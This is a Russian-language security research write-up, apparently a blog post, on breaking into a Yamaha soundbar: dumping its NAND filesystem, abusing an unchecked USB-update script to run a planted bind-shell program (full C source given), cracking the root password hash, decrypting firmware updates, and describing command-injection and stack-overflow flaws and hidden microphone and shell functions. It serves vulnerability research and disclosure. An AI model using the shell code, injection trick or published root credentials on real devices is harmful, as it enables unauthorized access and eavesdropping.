
Приветствую!
В конце первой части статьи по исследованию саундбара Yamaha я упомянул о плачевном состоянии его безопасности. Но вот то, насколько оно плачевное, я тогда представлял не до конца.
Чтобы вам не пришлось постоянно бегать в первую часть, некоторые моменты оттуда я буду повторять — так будет проще.
Разбираем дамп NAND
Значит так, в прошлый раз мы получили чистый дамп без скремблирования прошивки с флеша. Кому интересно, вот скрипт, который расшифровывает NAND-дамп. Нужно теперь разобраться, что в нём хранится. Давайте запустим binwalk
и узнаем. Вот что мне удалось выделить:
-
Файловая система UBIFS.
-
Образ с ядром.
-
Tee- и TrustedOS-образы.
-
Загрузчик от MediaTek.
Последний нам уже не особо интересен, так как свою роль он сыграл в первой части статьи. А вот с файловой системой стоит разобраться. Для дампинга содержимого UBIFS существует замечательный скрипт ubidump.py, его я тоже упоминал в первой части. Но чтобы он нормально отработал, нужно дамп слегка подредактировать. Сначала откусываем от файла все spare-area-блоки (размером 0x40
байт, встречаются через каждые 0x400
байт). Далее берём часть дампа с первого упоминания UBI#
(это смещение 0xED1000
) и сохраняем в отдельный файлик. Теперь запускаем скриптик:
python ubidump.py -s dump tsop_dump_no_ecc_ed1000.bin
Я запускал это под отладкой, так как биты в моём дампе частенько оказывались свапнуты и CRC32 не совпадал. Приходилось исправлять дамп фактически на лету — этим и занимается NAND-контроллер, применяя ECC.
В результате появился каталог dump/useradata
. Среди полученных файлов я не обнаружил ни одного исполняемого, который помог бы мне расшифровать прошивку (напоминаю, это изначальная цель ресёрча). Зато обнаружился очень интересный файл old.log
. Из него я узнал свой пароль от Wi-Fi, client_id
и client_secret
от Alexa, а также данные о том, куда железка обращается за апдейтами. Возможно, в логе имелось и что-то поинтереснее, но пока я не знал, на что стоит обращать внимание, поэтому стал копать дальше.
Я помнил и другие файлы, которые своими именами в дампе привлекли моё внимание, но они почему-то не сдампились. Например, мне хотелось извлечь yamaha_usb_upgrade.sh
, который называется так же, как один из файлов обновления — yamaha_usb_upgrade.enc
.
В общем, поковыряв дампилку, я обнаружил, что она считает количество блоков (они называются LEB — logical erase block), исходя из размера файла. Также, начиная с какого-то неопределённого номера блока, при парсинге их идентификаторы начинали совпадать и перетирать ранее прочитанные. Значит, плюс-минус с этого момента в дампе идёт другой раздел. Можно попробовать откусить его и снова сдампить. Сказано — сделано.
Обрезаем тот же файл до смещения 0x2C62000
(подобрано экспериментальным путём) и снова запускаем дампилку. На выходе почему-то получаем уже не useradata
, а каталог aud8516-consys-slc-rootfs.
И он мне нравится сильно больше предыдущего. Вот что оттуда извлеклось:

Многие из каталогов оказались не пустыми! И конечно же, я нашёл так интересовавший меня yamaha_usb_upgrade.sh
. Правда, он оказался не тем, чего я ожидал. Тем не менее, в этом скрипте обнаружились упоминания других исполняемых файлов, а именно:
-
upgrade_app
-
workdir smplayer
-
workdir localSendSocket
-
workdir a01localupdate
Что забавно, ни один из них не расшифровывал файлы обновлений. Пришлось искать по строкам:

Так-то лучше. Взглянем на поближе. workdir a01remoteupdate
Смотрим на a01remoteupdate
Приложение работает и с сервером обновлений Yamaha, и с обновлением через USB (иначе почему в нём засветилась строка с нужным нам именем файла?). URL обновления я уже видел в old.log
(о нём чуть позже), а вот с флешкой всё куда интереснее. Ниже представлена функция, в которой упоминается yamaha_usb_upgrade.sh
:

Ну не красота ли! Часть функций на скрине я уже переименовал согласно логике внутри, но тем не менее. Во-первых, для нас заботливо выводят имя текущей функции. Во-вторых, описывают каждый шаг. Рассмотрим скрин повнимательнее.
Смотрим на Gen_USB_upgrade()

Это самое начало функции. Я сразу и не обратил внимания на этот кусок, тут же перешёл к расшифровке апдейтов. А вот и зря! Сам каталог — это наша смонтированная USB-флешка. Программа почему-то ищет там и запускает файлик
yamaha_usb_upgrade.sh
, хотя мы прекрасно помним, что на флешку требуется положить только зашифрованные файлы и текстовик с версией. Неужели бэкдор в обновлениях?! Проверим.
Создаём файлик yamaha_usb_upgrade.sh
, который, например, выведет нам все смонтированные разделы:
/bin/mount > /media/mount.txt
Зажимаем кнопки VOLUME-
и POWER
, пока лампочка Wi-Fi не начнёт мигать — процесс обновления пошёл. Когда саундбар запустился, проверяем флешку и… вуаля:
mount.txt
ubi0:aud8516-consys-slc-rootfs on / type ubifs (rw,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=56156k,nr_inodes=14039,mode=755)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620)
tmpfs on /run type tmpfs (rw,nosuid,nodev,mode=755)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
configfs on /sys/kernel/config type configfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw)
mqueue on /dev/mqueue type mqueue (rw,relatime)
ubi1_0 on /data type ubifs (rw,relatime,sync)
ubi1_0 on /var type ubifs (rw,relatime,sync)
tmpfs on /tmp type tmpfs (rw,relatime,size=81920k)
tmpfs on /var/volatile type tmpfs (rw,relatime)
tmpfs on /data/var/volatile type tmpfs (rw,relatime)
adb on /dev/usb-ffs/adb type functionfs (rw,relatime)
/dev/sda1 on /media type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
Сразу обращаем внимание, что практически всё смонтировано в режиме rw
(read-write). Это значит, мы с нашим бэкдорным скриптом можем творить вообще всё что угодно! И первым делом мне, конечно же, захотелось получить шелл, например через telnetd. Покопавшись в файлах, видим, что основные системные команды работают через busybox, а значит, всё зависит от того, реализованы ли в нём собственно сервера telnetd, ftpd и т. п. Как окажется позже, нет, не реализованы. Значит, сначала нужно подложить свой.
Пока я искал нормальный busybox/telnetd, скомпилированный в static под ARM64, я быстренько наваял собственный шелл на основе того, что предлагает stackoverflow и Github:
shell_c.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int host_sockid;
int client_sockid;
struct sockaddr_in hostaddr;
int main() {
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
hostaddr.sin_family = AF_INET;
hostaddr.sin_port = htons(1337);
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
listen(host_sockid, 2);
char buf[8192];
char tmp[8192];
char pp[256];
while (1) {
client_sockid = accept(host_sockid, NULL, NULL);
memset(buf, 0, sizeof(buf));
memset(tmp, 0, sizeof(tmp));
memset(pp, 0, 256);
int sz = recv(client_sockid, buf, sizeof(buf), 0);
buf[sz] = 0;
snprintf(tmp, 8192, "%s 2>&1", buf);
FILE* stream = popen(tmp, "r");
if (stream) {
while (!feof(stream)) {
if (fgets(pp, 256, stream) != NULL) {
int len = strlen(pp);
send(client_sockid, pp, len, 0);
}
}
}
close(client_sockid);
pclose(stream);
}
close(host_sockid);
return 0;
}
Тут всё просто: получаем строку на порту 1337, добавляем к ней вывод stderr
и stdout
, передаём в popen()
, результаты которого отправляем себе обратно.
По аналогии добавляем запуск шелла из скрипта:
chmod +x /media/shell_c
/media/shell_c &
К сожалению, у меня это не сработало. Судя по всему, на FAT32 нельзя устанавливать флаги и права для файлов. Поэтому сначала нужно скопировать бинарь куда-то в файловую систему саундбара, например в : bin
cp /media/shell_c /usr/bin/shell_c
chmod +x /usr/bin/shell_c
/usr/bin/shell_c &
В бесконечный по счёту раз перезапускаем колонку, втыкаем флешку, инициируем процесс обновления, после чего сканируем nmap-ом:
sudo nmap -p1337 192.168.0.164
Ларчик, как и требовалось, открылся, и моей радости не было предела! Для пробы вводим ls /
и получаем содержимое корня файловой системы. Это победа! Теперь можно и нормальный busybox подложить, который к тому времени таки нашёлся: busybox_arm64. Будем запускать его пока ещё через собственный шелл, а потом определимся с механизмом автозапуска.
Применяем telnetd
Итак, busybox_arm64 telnetd
запустился нормально, открытый 23/TCP — тому подтверждение. Пробуем войти, но нас встречает просьба ввести логин и пароль.

Ищем по ранее сдампленой файловой системе shadow
и смотрим содержимое:
root:$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:19146:0:99999:7:::
daemon:*:19146:0:99999:7:::
bin:*:19146:0:99999:7:::
sys:*:19146:0:99999:7:::
sync:*:19146:0:99999:7:::
games:*:19146:0:99999:7:::
man:*:19146:0:99999:7:::
lp:*:19146:0:99999:7:::
mail:*:19146:0:99999:7:::
news:*:19146:0:99999:7:::
uucp:*:19146:0:99999:7:::
proxy:*:19146:0:99999:7:::
www-data:*:19146:0:99999:7:::
backup:*:19146:0:99999:7:::
list:*:19146:0:99999:7:::
irc:*:19146:0:99999:7:::
gnats:*:19146:0:99999:7:::
ntp:!:19146::::::
systemd-timesync:!:19146::::::
messagebus:!:19146::::::
nobody:*:19146:0:99999:7:::
Видим пользователя root
и его зашифрованный пароль. Не теряя надежды добить железку, суём строчку в hashcat
и… получаем на удивление простой словарный пароль:
$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:bamboo
Да, безопасность несомненно на уровне! Пробуем логиниться и получаем ту самую картину из концовки первой статьи:

Что ж, девайс повержен! Хотя для верности можно ещё и FTP поднять, заархивировать всю файловую систему в .tar.gz
и сохранить на флешку. Но это было делом уже следующего дня. А пока давайте таки вернёмся к зашифрованным обновлениям — заждались же!
Зашифрованные обновления
Вспоминаем красивый скрин с функцией UPG_Gen_USB_upgrade()
и строку с вызовом prepare_keys()
. Рассмотрим последнюю:

Tmpx93st93_iv ^ Tmpx93st93_key = AES
Всю функцию можно по сути разделить на три логических блока, в каждом из которых происходит работа с ключами k1
(подсвечен), k2
и k3
. После чтения ключа, который хранится в base64, и инвертирования (reversed(str)
) каждой его строки в decode_str()
, итоговый результат преобразуется в бинарный файл через вызов TmpAES
openssl
.
А вот дальше происходит магия: полученный TmpAES хранит в себе данные, зашифрованные с помощью aes-128-cbc. Начальный вектор Tmpx93st93_iv
и ключ Tmpx93st93_key
пока незвестны. Ищем обращения к этим полям структуры g_wiimu_shm,
выясняем, что в rootApp
их нет. Сама глобальная переменная задаётся вызовом функции WiimuContextGet()
, которая реализована в файле libmvmsg.so
. Но и там мне не удалось найти инициализацию секретной составляющей. Зато нашлись другие интересные функции:

WiimuContextXXX
Моё внимание привлекла вторая в списке — WiimuContextCreate()
. В ней самой, к сожалению, ключ и вектор не задаются, зато это навело меня на мысль, что в тех исполняемых файлах, где эта функция вызывается, и будут присваиваться значения полей:

А вот это, видимо, уже то что нужно! Непродолжительный поиск по rootApp
выдаёт нам такой вот участок кода:

Похоже, пазл сложился. Вернёмся к расшифровке обновлений. До этого мы только подготавливали ключи, само же превращение зашифрованных файлов в обычные идёт следующей строчкой:
prepare_keys();
decrypt_with_Tmpx93st93("/media/yamaha_usb_upgrade.enc", "/tmp/yamaha_usb_upgrade.sh");
Функция decrypt_with_Tmpx93st93()
оказывается крайне простой:

decrypt_with_Tmpx93st93()
Полученный на предыдущем этапе ключ, который был зашифрован другим ключом, используется всё в том же openssl/aes-128-cbc
— уже для непосредственной расшифровки файла обновления. Набрасываем вновь приобретённые знания в скрипте на Python и применяем его на файле update.enc
. В результате получаем обыкновенный ZIP-архив:

Таким же образом расшифровываем и остальные файлы yamaha_usb_upgrade.enc
:

И mcu.enc
:

Вот по сути и всё, чего я хотел добиться изначально. Но ведь это ещё не конец?

Интересно же ещё на работу с сетью взглянуть. Вот и я хотел бы… Но в данный момент колонка лежит закирпиченная в результате неудачного эксперимента — добавление своей (кривой, конечно) строки в скрипт автозапуска пагубно влияет на старт системы. Поэтому пока переключимся на поиск мест, откуда саундбар сифонит.
— Автор, не томи!!! Сифонит?
— Сифонит :)
Тут я хочу признаться. Когда я писал этот ответ, я только догадывался, что девайс делает что-то нехорошее, но как именно — не знал. Я видел в логах и исполняемых файлах множество упоминаний сайтов типа ota.linkplay.com
, a001.linkplay.com
, cloud-jobs.linkplay.com
, www.wiimu.com
, www.muzohifi.com
, avpro.global.yamaha.com
, aws.amazon.com
; строчек наподобие pingbaidu
; портов с сомнительным ответом от них, которые к тому же светят на 0.0.0.0.
Пришло время со всем этим разобраться.
И начать проще всего с запуска netstat -tulpan
и определения, какие сетевые порты у каких приложений открыты вовне:

Можно выделить следующие приложения:
-
AvsMrmPlayer: 55442/TCP, 55443/TCP
-
a01controller: 8819/TCP, 49152/TCP, 59152/TCP, 1900/UDP
-
stunnel: 443/TCP
-
spotify_connect: 5356/TCP, 5353/UDP
-
mdnsd: 5353/UDP, 56811/UDP, 54174/UDP
Забавно, но каждое из них запускает один единственный rootApp
, который не проявляет собственной сетевой активности. Давайте взглянем на него.
Смотрим на rootApp
Прежде чем мы продолжим, стоит немного рассказать, как сервисы колонки общаются между собой:
-
В каталоге
/tmp
создаётся файл с конкретным именем, за которым следит тот или иной сервис. -
При изменении содержимого этого файла приложение его вычитывает и выполняет необходимые действия.
-
Результат выполнения команды записывается в тот же файл.
Например, у приложения rootApp
отслеживаемый файл называется . RequestGoheadCmd
Перейдём непосредственно к его анализу. Вот начало функции main()
:

Сначала с помощью RC4 расшифровываются какие-то конфиги и сертификаты для stunnel
, после чего он запускается. Как по мне, крайне некрасиво хранить на устройстве какие-то шифрованные конфиги и ключи, а тем более использовать их при создании TLS-туннеля. Давайте расшифруем конфиги и посмотрим, что там:
[web_https]
accept = 443
connect = 127.0.0.1:80
cert = /system/workdir/misc/stunnel.pem
requireCert = yes
verify = 2
checkHost = www.linkplay.com
checkEmail = mail@linkplay.com
CAfile = /system/workdir/misc/ca.pem
Видим, что основной порт действительно 443/TCP, который становится доступным только локально на 80/TCP. Остальные опции указывают требование сертификата от того, кто будет подключаться, и определённые значения полей Host и Email в этом сертификате. Как показывает netstat
, за 80/TCP отвечает приложение boa
.
Что за boa такое?
Поиск в интернете приводит меня на репозиторий одноимённого сервера. Судя по всему, его исходный код был изменён для добавления новых команд. Также удалось выяснить, что ранее 80-й порт назывался LinkPlayAPI и был открытым для внешнего доступа. Разработчики зачем-то решили спрятать его в шифрованное соединение, чтобы никто не видел, какую дичь они там исполняют.
А там и правда чего только нет (сразу добавлю, в большинстве команд имеется возможность переполнения на стеке и, соответственно, удалённого выполнения кода)! Полный список команд, о предназначении большинства которых я даже не догадываюсь, представлен здесь: https://gist.github.com/lab313ru/148cee5a11001149aff5cdc76a8f4e57
Вот парочка примеров уязвимых плохо написанных мест в этих функциях:




Специалисту, думаю, будет очевидно, в чём именно заключаются уязвимости. Для тех же, кому эта тема не слишком близка, но очень интересна, поясню: на скриншотах можно найти уязвимость переполнения на стеке, она же stack buffer overflow — чуть ли не самая страшная уязвимость человечества, в которой АНБ обвиняет сам язык программирования C. Чтобы объяснить, как она работает, я приведу аналогию (конечно, натянутую, но я попытался):
У вас есть кошелёк. По заверениям его «разработчиков», туда можно положить ровно 128 купюр и один ключ от дома. Если же попытаться положить больше купюр, в какой-то момент у вас разойдётся шов, и ключ от квартиры выпадет, так как шов проходит именно там. Так вот, если хакер знает об этой уязвимости кошелька, он подкинет в него купюру-эксплоит и будет ходить за вами, пока не добудет ключ.
Кроме этой уязвимости, на скриншотах представлена ещё одна: возможность встроить сторонние команды, кроме тех, что задумывались разработчиком. Как это работает? Есть функция system()
, которая может выполнять системные команды. Если же за один раз нужно выполнить несколько операций, их следует разделить точкой с запятой. Учитывая, что содержимое строки, которую мы отправляем, никак не фильтруется и вставляется в другую команду как есть, можно вместе с необходимыми данными добавить, например, ;reboot
и получить перезагрузку устройства.
Если же затрагивать исключительно функционал LinkPlayAPI, то вот вам вкусняшка: у разработчика есть возможность получения стрима с вашего микрофона, всё так же удалённо. Для этого отправляется одна из множества специальных команд, после чего поднимается особый сервис asr_tts
(который почему-то ещё называется hobot
). У этого сервиса реализован собственный протокол для управления процессом записи.
Занимательно, что лампочка Alexa при этом гореть не будет и вы никак не узнаете, что вас слушают.
Это далеко не полный перечень интересностей, на которые способен этот саундбар. Накину вам парочку, а в следующей части, если захотите, разберу их подробнее.
Вот кусок приложения nv_ioguard
, команды которому также приходят через 443-й порт:

Если не обращать внимания на имя функции, то на первый взгляд здесь ничего интересного. Но стоит эту HEX-строку декодировать…

К сожалению (или к счастью), ссылок на эту функцию не нашлось, как и на строку CustomShell
в приложении rootApp
. Но само наличие такого функционала (возможно, уже в другом, более законспирированном виде) радовать не может. Следующая функция туда же:

Также моё внимание привлёк файлик ota.json
в каталоге с сертификатами:

Может показаться, что этот файл нужен только в контексте OTA-обновлений. Но что вы скажете, когда увидите, как он используется?

lp_cloud_report_device_event_info
Как вам название текущей функции: lp_cloud_report_device_event_info
? Самое интересное то, что пути imgName
и downPath
на этой железке в принципе не используются!
В общем, давайте на сегодня закончим, а то и так получилось очень много материала. В следующей части я планирую подробнее рассказать о различных бэкдорах, оставленных в саундбаре, сливаемых данных и логах, в которых, например, можно откопать и свой пароль от Wi-Fi. Зачем он разработчикам?
Также я протестирую все свои находки прямо на саундбаре. А то одна колонка лежит закирпиченная, вторая только-только приехала и пока ничего конкретного протестировать не удалось.
Затравка к следующей статье
Распаковываем вторую колонку (а то первая уже кирпич):

Исполняем код удалённо:
P.S.
Даже если разработчик не выходит на связь и не хочет исправлять уязвимости, это не значит, что цель (закрыть уязвимости) не будет достигнута. Так, по результатам предыдущей статьи про уязвимости в видеорегистраторе Wisenet HRX-1620
, на неё вышли разработчики, и пообещали выпустить обновления в конце октября. Это не может не радовать. Ждём того же от Yamaha.
Автор: Владимир